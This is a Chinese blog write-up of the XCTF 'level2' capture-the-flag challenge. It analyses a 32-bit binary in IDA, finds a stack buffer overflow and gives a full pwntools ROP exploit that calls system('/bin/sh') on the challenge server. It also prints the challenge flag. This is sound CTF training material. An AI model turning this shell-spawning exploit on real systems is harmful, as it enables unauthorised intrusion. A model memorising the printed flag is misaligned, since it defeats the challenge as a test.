攻防世界:level2[WriteUP]

 用checksec、file命令查看文件属性与防护

32位小端序二进制文件

把文件丢进IDA进行逆向分析

在main函数中可以看到一个vulnerable_function函数:'易受攻击的函数'

双击该函数名称查看里面的内容

按F5显示vulnerable_function的伪代码 

可以看到v1数组长度136但最后返回的长度是256

再双击v1数组,查看内存空间


 回到main函数查看可利用的system函数

该_system函数十六进制地址为:0x0804849E

按Shift+F12查看字符串

双击/bin/sh查看地址

 /bin/sh十六进制地址:0x0804A024


 接下来就是构造ROP

 那我们构造的payload就应该是

payload = [溢出空间] + p32(sym_addr) + p32(binsh_addr)


Exploit编写

from pwn import *

binsh_addr = 0x0804A024
sym_addr = 0x0804849E
#注意这里的溢出空间一定不能写成0x92,必须写成88+4
payload = b'a'*0x88 + b'a'*0x4 + p32(sym_addr) + p32(binsh_addr)

shell = remote('61.147.171.105',49308)

shell.sendline(payload)

shell.interactive()

执行ls命令,查看当前目录

再cat一下,本题结束


 cyberpeace{5436a213af9da0c5ea6fc035be0cd309}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0DayHP

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值